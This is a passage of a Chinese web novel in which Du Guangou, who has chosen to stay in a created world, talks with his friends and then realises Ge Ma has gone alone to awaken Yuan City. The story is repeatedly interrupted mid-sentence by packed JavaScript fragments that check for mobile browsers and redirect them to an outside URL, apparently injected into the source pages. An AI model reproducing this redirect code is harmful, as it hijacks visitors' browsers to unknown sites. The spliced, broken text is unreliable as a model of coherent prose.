这时候,一旁被士兵看押的夏未信开口说话了,但是,她似乎不是对闻人佐说,也不是对杜光欧说,女人有些出神,像是在诉说别人曾经讲过的话语,“‘我看到了一双眼睛,在我的睡梦里。祂注视着我,把我的生命活剥开来,像是砧板上的鱼肉,透彻地观察着它的每一个细枝末节。我向祂对话,得不到回答,我只看到那目光的冰冷,以及宿命一般的凝望。’” 夏未信说完了这段话,像是从睡梦里醒来一般,目光不再出神,而是聚焦在当下,“这是黄王在登基之前说的一番话。那是他穷尽一生抗衡的东西,祂高傲又不可见,这点,每一个元城的子民都知道。” 杜光欧不由得垂眸沉思,当下,世界内外的故事线全都吻合上了。 黄王的确是发现了一些什么,意识到了自己所在的世界是一个怎样的地方。反抗的同时,也被样界的创造者发觉,双方都观测到了彼此。而那最后,便是方远韶给了黄王、以及他所在的城池以致命的一击。 闻人佐有些理解了似的,说道:“那是……和我们处在不同世界的人吗?” “可以这么理解。”杜光欧道,他看了夏未信一眼,说道,“把她松开吧,相信夏女士已经不会再朝我开枪了。” 夏未信挣脱开了束缚她的人,活动了一番自己的手腕,“的确不会。再打一枪,你好像真的就要死了。你死了,我就听不到真相了。” 她说完这番话,董莉莉阴森地盯着她,仿佛如果对方敢有任何动作,她都会扑上去跟她你死我活。 杜光欧说得话有些多了,他闭上眼睛平复了一阵子,一阵阵痛过去后,要再度开口向葛马说道:“葛马,愿意听听我的计划吗?” “你说。”红发男人说。 “虽然世界已经暂时挣脱了束缚,但我担心外界的人还在追踪我们。”杜光欧想起在实验大厦中一晃而过看到的楼层导览图,大厦无疑有追踪样界的技术。他捋顺了思绪,缓缓开口说,“所以,还是需要唤醒元城。其一,它能提供给我们加速脱离严寒的工具,其二,黄王的遗业之中,或许有什么能为我们所用的抗外技术。” 听完,葛马思索了片刻,“……你确定,这次我们唤醒元城,在热爆之后不会再发生冰爆了吗?世界不会再因冰爆而轮回了吗?” “我确信,葛马。毕竟枷锁是我亲自摧毁的,元城的苏醒已经不会触发循环重置了。”杜光欧说着,一滴汗珠从他的额头上滑下来,他艰难地笑着,“还是说,你在害怕吗?明明已经重复这么多次了,你害怕再失败一次?” “什——”葛马瞪大眼睛。激将法在这个红发男人的身上似乎很有效果。他大声说道,“害怕?不可能。我只是谨慎。谨慎,懂吗?” “你说什么就是什么。”杜光欧疲惫地笑着,顺着他的话说。 葛马盯着杜光欧的断臂,现在确认什么一般,“好像真的不会再复原了……” 白熠也说:“我还是第一次见他真的快死了。” “……好,那就再相信你一次。”葛马犹豫了片刻说,“让大家伙先撤离,然后派一个人回来唤醒元城。” “没有异议。”杜光欧说。 “不过啊,关于你的背景,你还没交代完呢。”葛马说,他往后退了两步,似乎是打算离开,“但是这些路上再说吧。我去通知元城里的其他人撤退。” 计划确认之后,男人的行动很迅速。他的身体开始解构,又像之前每一次做的那样,凭空消失了。 一时间,病房只剩下闻人佐和他的士兵,白熠和夏未信,已经杜光欧和董莉莉几人。 一众人似乎都对这个计划接受良好,可能是有种迫于见到曙光的驱动力,对杜光欧口中所说的那个寒潮远去的未来有所期待,而开始马不停蹄地一步步推行下去。 闻人佐向一旁的士兵传令,说让戍边将军带大部队撤离,务必不要遗漏任何一人。 “我们也得撤退了。”坐在病床旁的白熠说。 董莉莉有些忧虑地看着杜光欧,“现在能走吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649618|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >杜光欧回握了一下董莉莉的手,“有你在就能。” 女人一愣。白熠也有些诧异地打量着他。 白熠朝董莉莉说:“他什么时候会说这种话了?” 董莉莉的耳根有些薄红,似乎是为了掩饰,她低头伸手就要把杜光欧从床上扛下来,“不知道。” 杜光欧疼得脸色一白,但是没出声。 他来回看着眼前的白熠和董莉莉,时间好像一度又回到了过去,这让他感到怀念。 但怀念之中,还有一丝隐蔽的不安。毕竟期间发生了这么多事,他怕几人的关系已经回不到过去了。 想到这里,又不禁有些忧心忡忡。 “莉莉,你和白熠……” 杜光欧没有明说自己的顾虑,但仅仅是把这两个人的名字列在一句话中,就足以表明他想要说什么。 两人之间想必曾经发生过很多不愉快的事情,尤其是在黎军军营那时。白熠的背叛,董夜明的死,怎么想都是块难解的疙瘩。所以杜光欧有些意外,两人现在还能正常地交流。 董莉莉先是沉默了一阵子,无言地把他架起来。白熠也想用他孱弱的身躯帮忙,但是杜光欧现在只有一条胳膊,所以他只能有些不知如何是好地站在另一边。 “他已经向我解释了。”董莉莉垂眸说,“关于他为什么要加入黎军,以及为获信任必须对一切冷眼旁观的折磨。抓捕你的原因是什么,所为的大义又是什么。” 与她一人相隔的白熠默然,下坠的发帘遮挡住了面容。 “我还没有原谅他。”董莉莉说。 “……”白熠立在杜光欧的右侧,无言。 与男人相识已久,对他每一个动作都熟知的杜光欧看出来,白熠现在的模样有些束手无措。 “但是,要怨也只能怨自己吧。”董莉莉仰起头,长舒了一口气,“最初就知道他是一个怎样的人,可还是选择要和他交朋友。” 杜光欧看着女人的模样,思虑片刻说:“从今往后,我们孤立他吧。” 董莉莉开朗一笑,“好。” 白熠依旧没说话,只是默默伸手扶住了杜光欧的腰,让他起码能借上一些力。 “帅哥,能分我几个人手吗?”房间的另一边,夏未信对大元帅说道。 闻人佐不解,“是要做什么?” “我的属下还在圣殿里,我想把他的尸体带走。”夏未信说,“还有,黎礼我也想带出去,她好歹是个元城人。” 闻人佐听了,朝杜光欧投来征询的目光。 杜光欧留意到了两人的交流,想起来不久前在圣殿发生的一切,那里的死人遍地都是,仿佛整条通向唤醒元城的道路都是用血铺就的。 “都带出去吧。”杜光欧说,“不管是什么人。” 虽然方式可能错误,但汇聚在这里的人,无一不是为了世界的解脱而奋战。立场不同就会产生摩擦,这是无可奈何的事情。不过,就算之前有过诸多恩怨,大仇都已得报,过去也该翻篇了,接下来将是新世界的到来,起码要让过去的亡灵安息,以防他们侵扰走向新生的人们。 292. 消失的人4 那之后,人们开始行动了起来。 他们来到元城的底部,从来时的通道口离开了这个遍布寒霜的城市。因为唤醒元城的热量可能会波及很远,所以他们决定先走去出一段,尽量远离,到了近处的村落或镇子再落脚。 离开了那座伟大的地下城池,人们重新回到了日光的照射之下。此刻正值下午,正是日光明朗的时候。 踏出元城不久,杜光欧回头,遥望着身后的雪山。 它如一个雄伟的巨人,岿然不动。便是围绕着这座山,不管是山体中的城市,还是在那雪峰之上,都太多故事在此发生。 “莉莉。”他呼唤身边人的名字,说道,“远征队的队员们就在这座山上。” 董莉莉听闻,蓦然睁大了眼睛,说道:“是这里?” “是的。” 那七十个因他而死的同伴,此刻就在山顶上沉眠。 两人一同向无情的雪山遥遥看去,心里装着相同的心事。 “等一切结束的时候,回来接他们吧。”董莉莉说,“我们一起。” 那是漫长旅程的起点,当下也快要迎来它的终结。 “嗯。”杜光欧应道。 队伍向远方而去,踏过有些泥泞的黑土地。摄文士兵和大元帅在前方开路,杜光欧等人则在前段随军同行。元帅给他们分拨了几匹马,让负伤者们不至于再用双腿奔波。 白熠也骑在马上,一直跟在杜光欧的身侧。等队伍开始稳步前行时,男人咳嗽了一声,似乎有话要说。 杜光欧斜了他一眼,保持沉默。 “继续刚才的话题吧。”白熠说道,声音低低的。 杜光欧知道自己需要回答很多。但既然已经到了这一步,已经选择了这个世界,那么,他会起码保持最基本的坦诚。这里的人经历了那么多,他们有权力知道一切真相。 说来也奇怪,就在所谓的前不久,他和白熠之间还是紧张兮兮的关系。陷害、抓捕,勾心斗角。但转瞬之间,却又可以平心静气地交流。 毕竟,对方是什么鬼样子,从小到大一起相处了这么多年,又怎么不知道。就像董莉莉说的,其实早就知道对方是怎样的人,但还是选择了维持这份友谊。 剧烈的矛盾、毫不留情的互相算计,心里其实知道,这些不过是早晚有一天会发生的事情罢了。两人似乎都接受得很平静,有一种“啊,他终于还是跟我翻脸了”的感觉。 “你想知道什么?”杜光欧问他。 白熠侧望着他,说:“你变得和我们一样了。” 杜光欧一愣,这并不是个问题,“什么?” “你失去了回溯力,你变得和我们一样了。”白熠道。 杜光欧眨眨眼,“是的。” “你抛弃了外面那个世界,还有在那里的身份。” 几个肯定句下来,杜光欧有些不明所以,他不知道白熠到底想要表达什么。 一旁,骑马走在杜光欧右侧的董莉莉像是想到了什么一般,小声说道:“对哦……” 杜光欧听到董莉莉的小声惊讶,这才反应过来。 他是“外面”来的人,也就是说,曾拥有一个全然不同的身份。 在所有人都没绕过这个弯来的时候,白熠却第一个设身处地地想到了。 该说不愧是白熠吗,思路总是和别人不一样。 杜光欧突然有些自嘲地想到,明明大家都是如此鲜活、机敏,自己却一度把这些人当成是电脑里枯燥的数字,这样的自己可能脑袋哪里多少有点不正常。 “嗯,是。外界的身份和生活,对我来说已经是过去了。”杜光欧道。 白熠侧过头来,神情专注地盯着他,“我可以理解成,你选择了我们吗?” 这个说法听上去略显直白,让人不禁有些难为情。杜光欧皱起眉毛,徒劳地辩解道:“选择……说不上,只是水到渠成……” “你出生在另一片土地上,却选择永远离开那里。你厌弃故乡吗?”白熠道。 “喂……我没那么说吧。这些都是你的推测,你又不知道我在外界的身份。”杜光欧感到有些无奈。为什么都叫这家伙猜中了,他是不是能读人心啊? 他打算回答的可不是这些问题,白熠为什么不问问“世界的构造原理”或者“生命的存在形式”之类的话?偏偏提出这些令人难以回答的疑问。 “你最开始向我们解释的那番话里,有一个很突兀的转折。”白熠似乎不打算就这么放过他,开始严谨地分析起来,“你说自己一开始是为了修复异常而来,因此要除掉葛马,可紧接着,又说自己已经帮助这个世界脱离了外界的控制。” “……” “在圣殿侧房那时也是。上一刻,你还在追杀葛马,但是,就在葛马说要驱逐你之后,转瞬之间,你好像变了个人。” “……” “你说你离开了这个世界,然后又回来了。”白熠摸着自己的下巴,肯定道,“这期间一定发生了什么。” “你就那么喜欢追根问底吗?” 白熠道:“我只是推测,或许在我们不知道的地方,有什么改变了你的想法,让你做出了一个与之前全然不同的决断。” 杜光欧沉默片刻。被完全看穿了心思,这让他非常不爽,“……你很烦人。” 白熠一笑。这个笑容仿佛一下子带他们回到以前的时光,那时他们还无忧无虑,只顾着开彼此的玩笑,“你了解我的。我只是很好奇,在葛马驱逐你之后,对我们来说短暂的一瞬间之中,究竟发生了什么?” 杜光欧叹了口气,闭上了嘴。天气寒冷,他装出一副有些冷的样子,自己好歹也是个伤员,有不张口的权力。 总觉得,要是把真实原因说出来的话,将来又会成为这个男人拿去戏弄他的把柄。 一阵冷风吹过,杜光欧缩了缩脖子。 就在这个时候,他们周围的空气开始扭曲,渐渐出现了一个人影。所有人都习惯了,看着葛马渐渐化形。 “元城里的大家伙我都通知完了!”还没有完全成型时,葛马大大咧咧的声音便响了起来,他小跑着跟上几人的马,一脸兴奋地汇报着,“我把计划已经跟他们说清楚了,他们现在就跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660568|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大元帅军队的后面。我跟他们说,等到了前方的村落,就不会被元城苏醒的热浪波及了。” 杜光欧看着他,“辛苦你了,葛马。” “嗨,这有什么,都是我应该做的。”红发男人摆摆手说。他仰起头,来回看着马上的几个人,“话说你们刚才聊什么呢,我听见什么驱逐之类的?” 白熠:“在聊光欧在外界经历了什么。” 葛马想起来什么似的,看向杜光欧,“对啊,外界到底是怎样一个地方,跟我们讲讲吧!” 董莉莉目光亮亮的,也说道:“光欧,我也很好奇你经历过什么。” 三面夹击之下,杜光欧逃无可逃。他在内心发誓要坦诚地、一五一十地告诉他们,可提及那段悲惨的过去不是他的本意。 当下,两个人问他经历了什么,一个人问他外界是怎样的,杜光欧选择回答后面那个问题,“外界是一个……和我们这里很像的世界。我说很像,不是因为地理分布一样,而是说自然规则、物理规律一致。两个世界有大小不同的海,形状相异的陆地,不一样的文明程度,和各有不同的文化。” “听上去和我们没什么差别啊。”葛马挑眉,说道。 “的确,毕竟我们所在的世界,是外界的人类所创造的意念世界……”杜光欧说到这里,有些后悔没有把样界的介绍文档看全,他除了知道样界几乎没有实体,且由人的记忆和意识构成以外,其余可以说知之甚少。 但他知道这是一个和外界别无二致的真实世界,这就够了。 杜光欧:“而人无法创造出想象以外的东西,所以两个世界其实运行的都是同一套逻辑。” “啊,原来如此,原来我们所在的世界是被创造出来的。”葛马道。顿了一下后,他拨高了音量,“不是,怎么还会有这种事啊!?创造世界,这种事情真的能做到吗?” “不管能不能,他们已经做到了。”杜光欧说,而后放松地深吸了一口气。不停地聊天可以让他遗忘右肩的疼痛,所以他打算继续解释下去,“外界的人创造这个世界之初,目的是验证人类在低温环境下基因变异的可能性,只要不是在他们自身所在的世界进行这种实验,就可以避免人道主义的遗责。” 听杜光欧这么说了一通,葛马表现得有些懵懂,“呃呃……基因?人道主义?……不管怎样,听你的意思,外面那些人完全不把我们的命当命呗?” “的确是这样。”而后,他声音放轻了,承认道,“……我一开始和那些人也是一样的想法。” “但是你转变了想法。”白熠这时插话道,一针见血,“你离开了自己的故乡,而到现在,你都没有说出让你这么做的关键是什么。” 杜光欧瘪瘪嘴,话题怎么又绕回来了。 这个白熠是非知道不可吗,一定要让他难堪才罢休? 自己在另一个世界的悲惨遭遇——家族排挤,亲人去世,女友背叛,朋友为零,升学碰壁——他不想说,一点也不想说,那段经历对于他当下的身份来说简直太丢脸了,非得说出来让人笑话不可吗?尤其还是在这个白熠的面前。 293. 消失的人5 “你非揪着这点不放?”杜光欧问,“我已经在这里了,变得和你们一样,这还不够说明什么吗。” “我也想相信你。”白熠说,“但你转变得太快了,我心里没底。” “我们是二十年的朋友了啊?” “是啊,曾一度记挂着对方性命的那种。” “……是你想杀我吧,我可从来没想对你做什么。”杜光欧嘟囔着。 “你又杀不死。”白熠耸耸肩,说。 “你有完没完?” 白熠一脸真诚,“我只是想多了解一些。若要彼此信任,起码要把发生了什么诚恳地交代清楚吧。” 这个聪明到让人心烦意乱的家伙,怎么可能不知道自己已经对他们没有任何威胁了? 他就是想听自己的笑话。 杜光欧气不打一处来,但是又觉得白熠说得在理。一旁,董莉莉和葛马还在好奇地等待回答。被架在这个位置,杜光欧只好没好气地说道:“你就这么理解,人总会不知疲倦地迁徙,直到找到合适自己的地方为止。我也一样。” “所以……你不喜欢外界,在那里的遭遇很不好。你在那边过不下去了。”白熠下结论一般说。 有一种被戳到痛处的感觉,杜光欧火气一升,不过脑子地开口反驳,“就不能是我非常喜欢这里吗?” 他说完,周围顿时安静了下来。 人们纷纷瞪大了眼睛打量着他,像是不敢相信自己听到了什么。 杜光欧有些不明所以,却在众人的注视之中,感觉脸颊渐渐有些发热,他把它归咎于身边的空气太冷所引起的一些生理层面的变化。 “干什么……你们。”他有些磕磕绊绊地说。 干什么这么惊讶?弄得他自己都开始有点不好意思了。 葛马咋咋呼呼凑过来,在马下边走着,边扬起一张震惊的脸看向杜光欧,“啊?我没听错吧,贵人你说什么,你说你喜欢这里?我怎么没觉得你喜欢这个地方啊,你一天到晚都是一副不怎么开心的样子。” “你让一个一直想要复仇的人怎么开心得起来?”杜光欧说道。他脸色有些阴沉,那大多是因为尴尬和对于自己刚才那段话的难堪,“这世上谁会直接把自己喜欢什么说出来。” 葛马不懂,“会说啊,我就会说。” “你以为谁都能像你一样,没点城府也能好好活着。” 葛马眨眨眼,看向董莉莉,“他是不是在骂我傻?” 马背上,董莉莉难得笑起来,像是那明媚的阳光一般,连人心也照亮了,“没有,他说你命好,没什么烦心事。” “我怎么听着那么不对劲呢?”葛马扬起一边眉毛,不解地说道。 杜光欧盯着董莉莉,眼中是她的笑容。 对,就是这个笑容,那是什么都比不上的辉光。为了看一眼它,他可以在黑夜里待上一整个月。 能再次看到,真是太好了。最终做出那个决定,也真的是太好了。 终于,他感受到一阵安宁,就像那个在轿车上做的梦。玻璃窗外的雪地里,一个抓着怪异昆虫的女孩和他隔着一扇玻璃窗手心相对,灵魂寻到归处的圆满令人悸动不已。 他现在知道梦里的那个人是谁了。 这种感觉让他整个人都柔和了下来,杜光欧牵着马靠近董莉莉,无言地盯着她。女孩被他看得疑惑,笑着用雪亮的眼睛问他什么意思。 杜光欧微笑着摇摇头,转而望向红头发的男人,突兀地说道:“抱歉啊,葛马。” 葛马听闻,身体都僵住了,跑到白熠的马旁询问,“他刚刚是在跟我道歉吗?” 白熠:“当然。” 葛马转向杜光欧,指着自己,模样惊讶,“向我道歉?” 杜光欧解释说:“为前不久追着你打的事情。” 葛马了然,道:“噢,那都不算什么事,我都没觉得疼。” 杜光欧又看向白熠,打算借着这股劲把想说的话都说了,等这股劲头过了,他可能就再也说不出口了,“还有,你也是,白熠。” “要我对你说抱歉吗?”白熠问。 “不,是我对不起你。”杜光欧说。 白发男人煞有介事,满脸震惊,故技重施,低头?异地看向葛马,问道:“他是在和我道歉吗?” 葛马沉下声音,模仿白熠的模样,“当然。” “喂……”气氛这么正经,这些人却一点也不严肃,杜光欧有点无奈,感觉自己难得的真情都喂了狗。 白熠收敛了些,正常发问,“好吧,你哪里对不起我了,说来让我这个当事人也听听?” 杜光欧沉默片刻,一手捂上自己的右侧腰,看着那只残缺的胳膊,他想起来自己曾有过的力量,“我们第一次在宴会上结识时,你吞下了原属于我的那碗毒肉,因此得了重病,沦落成现在这副模样。是因为拥有回溯力的我,你才变成这样。” 白熠顿了顿,“哦,对,似乎是有这么个连带关系。不过这有什么好道歉的,那又不是你的本意。何况你已经杀了黎礼,我的仇也已经报了。” 杜光欧回想起曾经看过的档案,如果按照正常的世界线发展,白熠会是血皑武术大会的冠军,子承父业,一生受人敬仰。 “你本来可以过得更好,因为我的介入,才……”他越说,头越低。 白熠一笑,探过头来观察他,“这么愧疚?那为了补偿我,把你的王位拿来给我坐坐。” “……什么王位?”杜光欧听闻,脑袋一下子懵住了。 “黎礼死了,杜家只剩你一个,一切顺利的话,你回去就是血皑城的城主了。”白熠道。 “啊。”杜光欧有些后知后觉,好像确实是这样。 一连串发生了那么多事,他的脑袋无时无刻不在思索当下的事情,还没有考虑过自己的未来。 董莉莉闻声凑近,眼里有盈盈的光,“光欧当城主……那将来是不是想成立多少只远征队就能成立多少只远征队了?我想申请一只专门调查野外动物的……!” 葛马则是一副惊喜的模样,拍了一下杜光欧身下棕马的马屁股,权当是在拍对方的肩,“不枉我巴结你这么久,贵人!终于守得云开见月明,将来要记得我的好啊!” 杜光欧有些失笑,事情八字没一撇,这些人倒是先开始畅想起来了。 不过他也没有扫大家兴致的意思,于是,接着白发男人刚才的话吡他。 “行啊,白熠。”杜光欧一副满不在乎的表情,抑扬顿挫地说,“如果我把你背叛我加入黎军的事情公布出去之后,市民们还愿意信任你,那王位给你坐两天也不是不行。” “这就过分了吧。” “民众可不想知道什么实情。”杜光欧说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673969|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么世界之外,什么更崇高的宏大愿景……他们只看得见‘叛变’这两字,而这可是重罪。” 白熠皮笑肉不笑,“你小子,表现得不在意,果然还是对我背叛的事怀恨在心啊。” 杜光欧也跟着笑起来,眼神里同样没什么温度,“何止怀恨在心。你最初连一个屁都不放,写了个假死的剧本,自己一个人跑去暗地里搞事。等回去之后再让我好好跟你算这笔账。” “哎呀,听着真吓人。”白熠一点害怕的意思都没有。 葛马在一旁跟着,脚步轻快,他起哄道:“哈哈哈,你们感情真好啊……咳咳。” 他笑到一半,突然开始咳嗽起来,像是被自己的口水呛到了似的。但是,当他从嘴上拿开自己的手,那掌心上留下的却是浓稠的黑色血迹。 葛马走在杜光欧的右侧,这一幕只被后者一个人看见了。 杜光欧赶忙问道:“喂,你没事吧?” “没事。”葛马擦了一把嘴,在深色的裤子上不着痕迹地抹掉了掌心的血迹,他一笑,说道,“我怎么会有事?还有很多事没做呢,等确保所有人都远离了热爆的范围之后,我还得回元城启动唤醒机关呢。” 另一边的董莉莉听闻,倾身探头问道:“你要去启动机关吗,葛马?” “显然这件事只能我去做吧,机关启动了,嘣一声,热量冲破出来,再强大的人都会没命的。”葛马拍了拍自己的胸脯,有些骄傲地说道,“不过,如果是我的话就完全没关系,热爆之后重塑一副身体,大家最爱的葛马就回来啦!” 红发男人在洋洋自得,而与此同时,杜光欧在打量对方。 他总觉得,葛马的模样好像变了一些,具体是哪里变了,他还在观察。 过了半天,他终于开口。 “葛马。” “怎么?” “你头顶上都是雪。” 葛马拍了拍自己红色的脑袋,“没有啊?” 众人往葛马的头上看去,他头顶上看起来盖着一层薄薄的白雪,导致红色的发丝有些脱色似的。 “呀,葛马,你的头发怎么了?”董莉莉率先发现了异常的关键。 “我的头发怎么了?”葛马看不到自己的头顶,只能抱着自己的脑袋,向周围的人询问道。 “全都白了。”白熠回答他。 “啊……啊?!”葛马扯着自己的头发,嘶嚷道,“我鲜艳的明艳的帅气的头发怎么了!?” 这时候,原本在后方安置死者的夏未信赶了上来,她片刻未停,目标似乎是更前方在开路的大元帅。 短发女人骑马经过这帮吵闹的人群旁边时,瞥来一束天生寡淡的视线,觉得好笑似的嗤了一声,加入了这场交流,对葛马说道:“你不是能变化自己的模样吗?” “是呀。”葛马说。 “谢谢你这个时候还给我们找乐子啊。”女人道。 “不是,谁那么做了?” “不用再演了,好意我们心领了,大家模样都挺开心的。”夏未信说完,马匹载着她超越了众人,继续往队伍最前端走。 “我真没有!不信你看……” 葛马似乎急于朝夏未信解释什么,像个没事人一样,追着女人的马就跑了过去。 杜光欧在后面盯着那个动作夸张的背影,只感到一种隐蔽的不安在内心深处发酵。 294. 消失的人6 又行进了一阵子,一行人浩浩荡荡来到了一个横古山脉附近的小村庄。 村里的人见到这个阵仗,吓得以为是哪里的军队来要占领他们的村落。 闻人佐和村长简单说明了意图之后,质朴的村民终于不再惊慌,敞开家门接受伤者的驻足。 杜光欧自认已经得到妥善的包扎,不需要更多的救治。他与董莉莉和白熠三人找了一个视角开阔的小山丘,在那上面观望着远处的雪山。 不过多久,那下方埋藏的元城即将苏醒,而一个崭新的时代就要开启了。 陆陆续续有更多的人挤进这个人烟稀少的小村庄,那些甾染人也来了,杜光欧在其中见到了燕无的身影,他和经常与他形影不离的矮小女人待在一起,身边还有一个戴着眼睛的鹿力喜,以及一个杜光欧没见过的和燕无长得很像的男人。 ……那不会就是燕戎陵吧。杜光欧看着陌生的男人,心想。就是柏汝恭亡夫的那个所谓的全映射体…… 此刻,叱云颠西部除了牧盟以外的三方势力全部汇聚于此,他们最初都是为了相近的理由来到元城,或者是消灭黎军,或者是探寻元城的秘密,而在这一天,也将在此亲眼见证时代的终结。 人群中,那伙甾染人似乎有些骚动不安。 杜光欧定睛看去,发现那个矮个子古古离开了身边几人,在村落中跑动起来,似乎在找什么人。 董莉莉也觉察到了她,朝对方招手,主动朝她搭话,“古古,你在找谁吗?” 见董莉莉的模样,杜光欧猜测两人的关系还不错。他推测是董莉莉曾经在甾染追寻自己的踪迹时,一度和那个小个子的女人有过什么来往。 古古听到董莉莉的声音,朝她的方向望过来,神色有些焦急,“莉莉!你看到葛马了吗?” “葛马……?”董莉莉困惑地转过头来,和杜光欧交换了一下视线。 杜光欧摇摇头。刚才在队伍里的时候,葛马本来还跟他们在一起,但是后来夏未信经过,抛下一句葛马在演戏的话,红发男人为了和她争辩清楚就追着女人走远了,那后来就再没看到他。 “你找他有什么事吗?”杜光欧向对方问道。 古古往他们所在的山丘走来,边走边说:“元城里还有很多沉睡的冰眠人,我想问问他那些人被转移出来了没有。” 杜光欧回想起来第一次和闻人佐两人掉进元城之中时,在地下房间中看到的那一排排容器,印象中那里有许多被冰封起来的人。 “我不确定元城苏醒时那些人能不能活下来。”古古有些忧心忡忡地说。 “……”杜光欧沉思片刻,“去一起找葛马吧。” 如果是在以往,杜光欧并不会在乎那些元城人的死活,他们对他来说谁都不是。 但在经历了这一切之后,得知那些人民是如何不屈地对抗这个残酷的世界,又不由有些感触。 那是黄王的子民,是意识到世界局限性的先知,是领先于众人创造了科技与文明的人们。他们掌握着元城的技术,失去这些人,将是这个世界的巨大损失。 而在这个杜光欧已经把世界当成是自己家园的当下,那些损失,也无疑是他的损失。 他没办法置之不理,他得承认。他爱这个世界,超过自己的想象。 “葛马之前和夏未信在一起,”杜光欧行动起来,离开了刚才所在的山丘,“找到那个女人,应该就能找到葛马。” 村落中虽然人多,但大多都是摄文将士,他们的分布十分规整,十人为一队,聚集在一起,坐在地面上休整。摄文军似乎没有久留的打算,也就没有支起营账。 朝这村子一眼就能看到头的四周望去,夏未信零星一人的身影并不难找。 董莉莉第一个发现了她,于是招呼众人一同围了过去。 短发的女人坐在一个土堆旁,身边停着一匹马,马上有一个巨大的麻布口袋,里面似乎装着什么人。 看到他们走来,夏未信还有些困惑,像是不知道为何自己突然招来了这么多人。 几人和对方说明了古古的顾虑,夏未信听完了,摆出一副惯常的清冷模样,“事到如今才想起来这个问题吗?” “那些冰眠人会怎么样?”杜光欧免疫了她的冷嘲热讽,问道。 “不好说。”夏未信抱着自己的身体,冷静地分析道,“我和黎礼那种从冰眠状态苏醒的人理论上能扛得住热爆,但那些还在沉眠的不一定。” “他们还在冰中,体温更低,这样也扛不住吗?”古古问。 “那些人身体还没有活化,现在是假死态。要是一下子就给足了融化的热量,身体没有一个循序渐进的过程,会瞬间膨胀,以致真正的死亡。”夏未信说。 古古听闻,模样急迫了起来,“这样下去不行,得在元城苏醒之前,把那些冰眠人运出来……” “晚了。”夏未信道。 “……什么?” 女人指了指远处的雪山,“该去唤醒那个城市的人,已经在路上了。” 杜光欧站在一旁,听到夏未信的话,突然,先前那种不安一下子又升了起来,而且有变得剧烈的趋势,“你说谁去了?” 夏未信盯着杜光欧,毫无波澜地道:“那个红头发的小哥,葛马。” 董莉莉声音疑惑,“他怎么没有跟我们打招呼就……?” “他没跟你们打招呼?”夏未信挑眉,讶异道,“我看他火急火燎地往元城跑,还以为是你们商量好了什么计划,着急让他回去实施呢。” 杜光欧只觉得自己的心脏漏跳了一拍,他抬头,望向那座寂静的、巍峨的雪山,心中的不安几乎要在他的胸口烧出一个洞来。 他想起来葛马脚踝上那块焦炭一样的痕迹,想起来对方咳出来的黑色血迹,想起他花白的发顶。 一切都是那么明显,可纷乱的事件接踵而至,他总想着等等再说。 “不行……”杜光欧呢喃着,下意识地摇头,一步步向后退去,“不行,得让他回来!” “光欧,你去哪?” 背后传来董莉莉的呼唤,杜光欧没有回头,将自己投入了摄文的军队之中,“帮我找闻人佐!” 当下,只有大元帅手下有足够快的骑兵能将葛马追回来。 杜光欧奔跑着,在村落中四处徘徊,打探大元帅的所在。天气寒冷,他的右肩很疼,但这一切都比不上找不到人的急迫。 必须把葛马追回来,不然…… 该死,为什么什么都不说就消失了? 明明还有那么多话没说完,自己还没告诉对方为何选择了这个世界,也还没告诉葛马他这几千年来对抗的具体是怎样的人,其他要说的还有很多很多,很多很多。 这些东西几天也讲不完,他那么着急离开干什么? 终于,在一阵奔忙之后,杜光欧在村长的住所外面找到了闻人佐。和蔼的老者和健硕的武人在聊些什么,场面看起来十分融洽。 “元帅——” 杜光欧朝闻人佐奔去,呼唤对方的名号。而就在称呼喊出口的一瞬间,突然,他脚下一阵地动山摇。 一下子,他就走不动路了,好像双腿的力气全部被剥夺,想要把脚从地面上抬起来都做不到。 所有人都愣住了,坐在地面上的人站不起来,站着的人纷纷倒了下去。人们无措地观察着四周,不知道发生了什么。 有鸟雀从雪山的方向飞来,巨大的轰鸣自山间始动,大地开始震颤。 人们有些害怕地看向彼此,大张着嘴巴,或许在喊叫对方的名字,可是他们谁也听不见谁的声音。 大地在怒吼,似乎有什么就要破土而出。 雪山在悲鸣,一座沉寂已久的城市正在苏醒。 ## 与此同时,元城,地下溶洞。 “咳咳,咳……没想到这一刻来得这么快,还好提前把所有人都运出去了。” 红发男人摸索着岩壁,一步步往前走。他脚下的大地在颤动,那让他有些重心不稳。 “哎,怎么这样?我感觉自己像是个几百岁的老人,眼睛花了,身体也没没什么力气……”葛马佝偻着腰背,步履迟缓。说完那番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 